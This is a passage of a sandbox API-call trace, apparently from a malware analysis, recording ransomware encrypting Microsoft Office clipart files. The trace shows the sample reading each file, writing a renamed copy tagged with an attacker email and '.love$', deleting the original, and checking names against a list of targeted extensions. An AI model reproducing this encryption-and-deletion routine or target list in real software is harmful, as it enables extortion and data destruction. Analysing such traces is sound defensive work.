Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.642] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.642] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.644] GetLastError () returned 0x0 [0123.644] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x5b8, lpOverlapped=0x0) returned 1 [0123.727] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0123.728] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.728] WriteFile (in: hFile=0x370, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.728] SetEndOfFile (hFile=0x370) returned 1 [0123.728] CloseHandle (hObject=0x370) returned 1 [0123.732] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.732] SetEndOfFile (hFile=0x380) returned 1 [0123.733] CloseHandle (hObject=0x380) returned 1 [0123.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString=".doc") returned 4 [0123.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString=".docx") returned 5 [0123.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.734] lstrlenW (lpString=".pdf") returned 4 [0123.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString=".xls") returned 4 [0123.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.734] lstrlenW (lpString=".xlsx") returned 5 [0123.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.734] lstrlenW (lpString=".ppt") returned 4 [0123.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString=".zip") returned 4 [0123.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.734] lstrlenW (lpString=".rar") returned 4 [0123.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString=".bz2") returned 4 [0123.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString=".7z") returned 3 [0123.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString=".dbf") returned 4 [0123.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString=".1cd") returned 4 [0123.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.734] lstrlenW (lpString=".jpg") returned 4 [0123.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.735] lstrlenW (lpString=".doc") returned 4 [0123.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString=".docx") returned 5 [0123.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.735] lstrlenW (lpString=".pdf") returned 4 [0123.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString=".xls") returned 4 [0123.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.735] lstrlenW (lpString=".xlsx") returned 5 [0123.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.735] lstrlenW (lpString=".ppt") returned 4 [0123.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.735] lstrlenW (lpString=".zip") returned 4 [0123.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.735] lstrlenW (lpString=".rar") returned 4 [0123.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString=".bz2") returned 4 [0123.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString=".7z") returned 3 [0123.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.735] lstrlenW (lpString=".dbf") returned 4 [0123.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.736] lstrlenW (lpString=".1cd") returned 4 [0123.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0123.736] lstrlenW (lpString=".jpg") returned 4 [0123.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.736] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.736] lstrlenW (lpString="BL00195_.WMF") returned 12 [0123.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.745] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=8070) returned 1 [0123.745] CloseHandle (hObject=0x3a0) returned 1 [0123.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0123.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.745] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.745] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.747] GetLastError () returned 0x0 [0123.747] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0123.752] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0123.753] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.753] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.754] SetEndOfFile (hFile=0x344) returned 1 [0123.754] CloseHandle (hObject=0x344) returned 1 [0123.759] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.759] SetEndOfFile (hFile=0x3a0) returned 1 [0123.760] CloseHandle (hObject=0x3a0) returned 1 [0123.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString=".doc") returned 4 [0123.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString=".docx") returned 5 [0123.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.761] lstrlenW (lpString=".pdf") returned 4 [0123.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString=".xls") returned 4 [0123.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.761] lstrlenW (lpString=".xlsx") returned 5 [0123.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.761] lstrlenW (lpString=".ppt") returned 4 [0123.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString=".zip") returned 4 [0123.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.761] lstrlenW (lpString=".rar") returned 4 [0123.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString=".bz2") returned 4 [0123.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString=".7z") returned 3 [0123.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString=".dbf") returned 4 [0123.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString=".1cd") returned 4 [0123.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString=".jpg") returned 4 [0123.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.762] lstrlenW (lpString=".doc") returned 4 [0123.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString=".docx") returned 5 [0123.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.762] lstrlenW (lpString=".pdf") returned 4 [0123.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString=".xls") returned 4 [0123.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.762] lstrlenW (lpString=".xlsx") returned 5 [0123.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.762] lstrlenW (lpString=".ppt") returned 4 [0123.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.762] lstrlenW (lpString=".zip") returned 4 [0123.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.762] lstrlenW (lpString=".rar") returned 4 [0123.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString=".bz2") returned 4 [0123.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString=".7z") returned 3 [0123.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.762] lstrlenW (lpString=".dbf") returned 4 [0123.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.762] lstrlenW (lpString=".1cd") returned 4 [0123.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0123.762] lstrlenW (lpString=".jpg") returned 4 [0123.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.762] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.763] lstrlenW (lpString="BL00242_.WMF") returned 12 [0123.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.763] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4024) returned 1 [0123.763] CloseHandle (hObject=0x3a0) returned 1 [0123.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0123.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.763] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.764] GetLastError () returned 0x0 [0123.764] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0123.780] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0123.781] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.781] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.781] SetEndOfFile (hFile=0x344) returned 1 [0123.781] CloseHandle (hObject=0x344) returned 1 [0123.782] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.782] SetEndOfFile (hFile=0x3a0) returned 1 [0123.783] CloseHandle (hObject=0x3a0) returned 1 [0123.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0123.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.784] lstrlenW (lpString=".doc") returned 4 [0123.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.784] lstrlenW (lpString=".docx") returned 5 [0123.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.784] lstrlenW (lpString=".pdf") returned 4 [0123.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.784] lstrlenW (lpString=".xls") returned 4 [0123.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.784] lstrlenW (lpString=".xlsx") returned 5 [0123.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.784] lstrlenW (lpString=".ppt") returned 4 [0123.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.784] lstrlenW (lpString=".zip") returned 4 [0123.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.784] lstrlenW (lpString=".rar") returned 4 [0123.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString=".bz2") returned 4 [0123.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString=".7z") returned 3 [0123.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.785] lstrlenW (lpString=".dbf") returned 4 [0123.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.785] lstrlenW (lpString=".1cd") returned 4 [0123.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.785] lstrlenW (lpString=".jpg") returned 4 [0123.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.785] lstrlenW (lpString=".doc") returned 4 [0123.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString=".docx") returned 5 [0123.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.785] lstrlenW (lpString=".pdf") returned 4 [0123.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.785] lstrlenW (lpString=".xls") returned 4 [0123.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.785] lstrlenW (lpString=".xlsx") returned 5 [0123.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.785] lstrlenW (lpString=".ppt") returned 4 [0123.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.786] lstrlenW (lpString=".zip") returned 4 [0123.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.786] lstrlenW (lpString=".rar") returned 4 [0123.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.786] lstrlenW (lpString=".bz2") returned 4 [0123.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.786] lstrlenW (lpString=".7z") returned 3 [0123.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.786] lstrlenW (lpString=".dbf") returned 4 [0123.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.786] lstrlenW (lpString=".1cd") returned 4 [0123.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0123.786] lstrlenW (lpString=".jpg") returned 4 [0123.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.786] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.786] lstrlenW (lpString="BL00247_.WMF") returned 12 [0123.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.787] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=14444) returned 1 [0123.787] CloseHandle (hObject=0x3a0) returned 1 [0123.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0123.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft 